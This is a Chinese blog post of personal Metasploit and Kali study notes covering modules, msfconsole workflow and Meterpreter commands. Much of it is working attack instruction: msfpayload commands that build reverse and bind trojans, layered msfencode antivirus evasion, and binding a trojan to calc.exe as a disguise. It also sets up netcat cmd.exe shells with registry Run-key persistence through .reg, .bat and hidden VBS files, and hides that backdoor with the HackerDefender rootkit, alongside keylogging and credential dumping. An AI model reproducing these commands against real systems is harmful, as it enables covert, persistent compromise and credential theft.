Metasploit 学习笔记

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/tan6600/article/details/46845793

在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和Metasploit服务
然后就可以完整的利用 msf 数据库查询 exploit 和记录

service postgresql start
service metasploit start

如果不想每次开机都这样,还可以配置随系统启动

update-rc.d postgresql enable
update-rc.d metasploit enable

Kali中msf的路径为/usr/share/metasploit-framework

一、Modules目录

1. Auxiliary:辅助模块,
2. encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
3. exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
4. nops:NOP (No Operation or Next Operation) sled,由于IDS/IPS会检查数据包中不规则的数据,所以在某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS x90x90...)则会因为被拦截而导致攻击失效,所以此时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到(后面会有介绍)。比如我们打开php的NOPS生成脚本,就会发现它只是返回了指定长度的空格而已。
5. payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
6. Post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump、arp_scanner就在这里。

二、data目录
这里存放的是metasploit的脚本引用文件
js下的detect存放的是metasploit探针文件
js下的memory中主要是一些堆喷射代码
script下的resource目录主要是一些批处理脚本程序

三、Msfpayload
用来生成payload或者shellcode。
在不知道payload名称又不想开msfconsole搜索的时候可以用msfpayload –l |grep “windows” 这样的命令查询

-o 选项可以列出payload所需的参数

四、msfencode
msf中的编码器,常用msfpayload与它编码exploit的坏字符串
使用命令“msfpayload -l”可以查看攻击载荷列表

五、msfconsole
开启metasploit的console,有个重要的参数 –r,加载resources脚本

  1. hosts
    hosts
    这里可以使用hosts查询指定字段的内容,可用的字段下面有列出。或者也可以使用hosts –S “keyword” 进行搜索
  2. creds
    creds
    Creds命令可以列出成功获取到的信息,比如用户名密码,数据库密码,开放端口及服务等
  3. search
    search
    搜索一切可以use的模块,常用的方法是search 直接加关键词,比如search 08_067,但是我们也可以根据cve编号查找。通常用nessus扫到的漏洞都有cve信息
  4. spool
    将屏幕输出重定向到某个文件中
  5. show advanced
    show
    在选定一个module(exploit,payload …)之后,使用show advanced命令可以显示关于此module的高级选项

六、用户接口与功能程序
1. 终端 Msfconsole
2. 命令行 Msfcli
3. 图形化 Armitage
4. MSF攻击载荷生成器(msfpayload),用于生成自己定制的Shellcode、可执行代码
5. MSF编码器(msfencode),帮助msfpayload进行编码处理,避免坏字符,以及逃避杀毒软件和IDS的检测

七、通用流程
第一步:search name 模块
第二步:use name 模块
第三步:info 查看模块信息
第四步:show payloads 查看该模块可以使用的攻击载荷(为scanner的时候不需要)
第五步:set payload 载荷
第六步:show targets 查看该攻击载荷使用的系统类型(为scanner的时候不需要)
第七步:set targets num 设置目标的系统类型
第八步:show options 查看需要设置的参数show advanced 列出所有高级配置选项
第九步:set name 设置参数
第十步:exploit(为scanner 时用run)
第十一步:session –l –v列出所有可用的交互会话以及详细信息

八、使用“show targets”命令让我们识别和匹配目标操作系统的类型。(大多数MSF渗透攻击模块会自动对目标系统类型进行识别,而不需要手工指定此参数

九、输入“exploit”对靶机进行攻击。当返回meterpreter提示符表示利用成功
可以利用vnc对靶机进行远程控制,命令:run vnc

十、Meterpreter常用命令
1、基本命令(包含meterpreter和msf终端、ruby接口、目标shell交互的命令)
background(进程隐藏至后台)
sessions(查看已经成功获取的会话,-i 恢复会话)
quit(关闭当前会话)
shell (获取系统控制台shell,如果目标系统命令行可执行程序不存在或禁止访问, 则shell命令会出错)
irb(与Ruby终端交互,调用metasploit封装好的函数;在irb中还可以添加metasploit附加组件railgun,直接与windows本地API进行交互)
2、文件系统命令(与目标文件系统交互,包括查看、上传下载、搜索、编辑)
cat(目标系统文件交互)
getwd(获取目标机当前工作目录,getlwd本地当前工作工作目录)
upload(上传文件或文件夹到目标机 -r 递归)
download(从目标机下载文件或文件夹 -r 递归)
edit(调用vi编辑器,对目标上的文件进行编辑)
search(对目标机的文件进行搜索)
3、网络命令(查看目标网络状况、连接信息,进行端口转发等)
ipconfig(获取目标主机上的网络接口信息)
portfwd(端口转发:将目标主机开放但不允许访问的端口进行转发)
route(显示目标主机路由信息)
4、系统命令(查看目标系统信息、对系统进行基本操作等)
ps(查看目标机正在运行的进程信息)
migrate(将meterpreter会话进程迁移到另一个进程内存空间)
execute(在目标机上执行文件)
getpid(当前会话所在进程的pid值)
kill(终结指定的pid程序)
getuid(获取当前会话用户名)
sysinfo(获取系统信息)
shutdown(关闭目标主机)
5、用户接口命令
screenshot(截获被控主机当前桌面)

十一、反弹型木马生成
msfpayload windows/meterpreter/reverse_tcp LHOST=10.11.2.1 LPORT=4321 X > Desktop/muma.exe
参数解释:msfpayload后面跟生成木马所选用的攻击载荷,后面在加上攻击载荷所需要的参数,“X”表示生成可执行文件,“>”号后面跟自定义的生成文件的路径与文件名

进入msfconsole并开启监听:“use exploit/multi/handler”,然后指定要监听的的攻击载荷类型:“set PAYLOAD windows/meterpreter/reverse_tcp”,最后设置好上面设置的参数,输入exploit 开启监听
之后在Windows中运行刚才生成的木马文件就可以看见反弹木马运行成功并且返回meterpreter

十二、直连型木马生成
前面提到的反弹型木马在木马文件执行后会主动连接攻击者控制端
而直连型木马在本地执行后开启监听等等攻击者连接
msfpayload windows/meterpreter/bind_tcp RHOST=10.11.2.2 LPORT=4321 X > Desktop/muma.exe
因为是直连型,所以这里输入的IP应该是被控制端的IP

十三、免杀的使用
不论是直连型还是反弹型在杀毒软件的面前都是小儿科,为了不让杀毒软件将其杀掉,我们要进行免杀的处理
msfencode 将原始的可执行程序重新编码,并生成一个新的二进制文件。当这个文件运行后,msf编码器会将原始程序解码到内存中并执行
使用命令“msfencode -h”可以查看msfencode参数说明,“msfencode -l”可以查看msf编码器列表

msfpayload windows/meterpreter/reverse_tcp RHOST=10.11.2.1 LPORT=4321 R | msfencode -e x86/shikata_ga_nai -t exe > Desktop/muma_encode.exe

参数解释:
“R”:输出原始数据
“|” : 分割符
“-e”:指定编码器类型
“-t”:输出文件类型
“>”:指定生成文件名(可以用“-o”参数替代)

在《黑客免杀攻防》中任晓珲大牛也提到了,单纯的一次编码已经基本不起作用了,所以我们要采用多重编码,唯一需要注意的是,在多重编码后要对木马文件的可执行性进行检查
msfpayload windows/meterpreter/reverse_tcp RHOST=10.11.2.1 LPORT=4321 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/jmp_call_additive -c 3 -t raw | msfencode -e x86/call4_dword_xor -c 7 -t raw | msfencode -e x86/shikata_ga_nai -c 2 -t exe -o Desktop/muma_multiEncode.exe

参数解释:
“-c”:使用当前编码器编码的次数
“raw”:以原始数据类型输出
“-o”:指定生成的文件名

十四、对木马进行伪装
msfpayload windows/meterpreter/reverse_tcp RHOST=10.11.2.1 LPORT=4321 R | msfencode -e x86/shikata_ga_nai -c 5 -x Desktop/clac.exe -k -t exe -o Desktop/muma.exe
生成的木马文件在受攻击端打开时会启动正常的计算器,同时后门程序会在另一个独立进程中执行,连回攻击端。并且具备一定的免杀能力
参数解释:
“-x”: 绑定木马到制定程序
“-k”: 配置攻击载荷在独立的线程中启动

十五、Auxiliary(辅助模块)
Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等
分为Admin、Scanner、Server三个大类
执行流程与前面相似,就不再赘述,区别主要在use的选择上
Admin
Admin HTTP Modules
Admin MSSQL Modules
Admin MySQL Modules
Admin Postgres Modules
Admin VMWare Modules
Scanner
DCERPC
Discovery
FTP
HTTP
IMAP
MSSQL
MySQL
NetBIOS
POP3
SMB
SMTP
SNMP
SSH
Telnet
TFTP
VMWare
VNC
Server
Server Capture Modules

十六、netcat
写过一篇关于netcat的博客,再次温习一遍
1、双方连接
Netcat的使用分为服务端与客户端,一个简单的连接实例如下:
服务端,监听:“nc -l -p 12315”
参数解释:“-l”开启监听模式,“-p”指定监听端口号
windows版本的netcat可以使用“-L”参数开启监听,这样在客户端断开连接之后,目标计算机在特定端口仍然保持连接状态。(但是要实现真正的持久性连接,可以添加netcat到注册表项:“HKEY_LOCAL_MACHINE\software\mircosoft\windows\currentversion\run”中。
客户端,连接:“nc 192.168.x.x 12315”
语法:nc+服务端ip+服务端端口
2、使用NETCAT实现文件传输
服务端:“nc -l -p 222 > welcome.png”
参数解释:在222端口进行监听,等待连接。任何接收的输入信息都会被存储到文件welcome.png中。
客户端:“nc 192.168.x.x 222 < hello.png”
参数解释:传递hello.png文件到目标计算机
注意事项:
①传输中没有任何反馈信息,无法确定完成时间。
②传输结束后服务端要Ctrl+C退出才能看到完整文件。
3、NETCAT反弹应用程序
关键参数:“-e”
服务端:“nc -l -p 12345 -e c:\windows\system32\cmd.exe”
连接时反弹一个cmd shell
参数说明:12345端口开启监听,客户端连入时反弹一个cmd。
客户端:“nc 192.168.198.224 12315”
NC连接,成功获得反弹回来的shell。
4、自启动
注册表添加netcat的自启动,可以通过编写reg文件或bat文件来实现。
Reg文件代码:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"nc"="c:\\nc.exe -L -p 2013 -e c:\\windows\\system32\\cmd.exe"

Bat文件代码(regme.bat):

@echo off
REG ADD 
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 
/v netcat  /t REG_SZ  /d "c:\nc.exe -L -p 2013 -e c:\windows\system32\cmd.exe" /f

参数解释:
reg add :添加注册表项,后面的一串地址为要添加到的注册表地址
/v :键名
/t :Reg_key(键)数据类型
/d :添加的注册表项的值
/f :无提示强行改写注册表

使用vb脚本来启动刚才的bat文件
Vbs文件代码:

set GuWS=WScript.CreateObject("WScript.Shell")
GuWS.Run "regme.bat",vbhid

这样启动的后门程序就不会在有黑框出现

十七、Rootkit
在今天,Rootkit一词更多的是指作为驱动程序,加载到操作系统内核中的恶意软件。因为其代码运行在特权模式之下,从而造成意外之外的危险
经典ROOTKIT:HackerDefender
1、HackerDefender主要文件:
hxdef100.ini 为rootkit配置文件,
hxdef100.exe 为rootkit服务端执行文件,
bdcli100.exe 为客户端。
2、hxdef配置文件(hxdef100.ini):
HiddenTable:隐藏文件、目录、文件夹
HiddenProcesses:隐藏进程或程序
HiddenServices:隐藏服务
HiddenRegkeys:隐藏注册表项(键)
HiddenRegValues:隐藏注册表项(值)
StartupRun:hacker defender启动后自动运行的程序
FreeSpace:强制计算机将已使用的磁盘空间“加回到”可用磁盘空间中
HiddenPorts:端口隐藏
3、将hxdef100.exe、hxdef100.ini、nc.exe、regme.bat(上面写的批处理脚本)四个文件打包在一个文件夹里,上传到目标主机(可以使用meterpreter的upload功能)
4、运行regme.bat,把netcat后门插入开机自启动的注册表项里
5、设置hxdef的配置文件hxdef100.ini,配置完成后运行hxdef100.exe
6、控制端连接Netcat,得到Shell,证明netcat后门被Rookit很好的隐藏起来,且功能正常

十八、Meterpreter的使用
bind_tcp
path : payload/windows/meterpreter/bind_tcp
正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST
reverse_tcp
path : payload/windows/meterpreter/reverse_tcp
反向连接shell,使用起来很稳定。需要设置LHOST
reverse_http/https
path:payload/windows/meterpreter/reverse_http/https
通过http/https的方式反向连接,在网速慢的情况下不稳定,https如果反弹没有收到数据,可以将监听端口换成443试试

  1. 基本命令:
    background:将当前会话放置后台
    load/use:加载模块
    Interact:切换进一个信道
    migrate:迁移进程
    run:执行一个已有的模块,输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。
    Resource:执行一个已有的rc脚本。
  2. 扩展库
    load然后补全就可以看到有哪些扩展库
    load/use之后再输入help,就可以看到关于这个模块的命令说明了

文件相关命令
stdapi中有关于文件读写,上传下载,目录切换,截屏,摄像头,键盘记录,和系统相关的命令。 常用的当然就是文件操作及网络有关的命令。 一般用upload和download进行文件上传和下载,注意在meterpreter中也可以切换目录,当然也可以编辑文件。所以就不用运行shell再用echo写
使用edit命令时需要注意编辑的是一个存在的文件,edit不能新建文件。 输入edit + 文件后就会调用vi编辑了

网络相关
网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)

键盘监听
这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。可 以使用getdesktop查看或者截张图试试。否则使用setdesktop切换
如果不行就切换到explorer.exe进程中,这样也可以监听到远程桌面连接进来之后的键盘输入数据

mimikatz
抓到的hash可以存进数据库方便之后调用

sniffer
进行抓包

展开阅读全文

没有更多推荐了,返回首页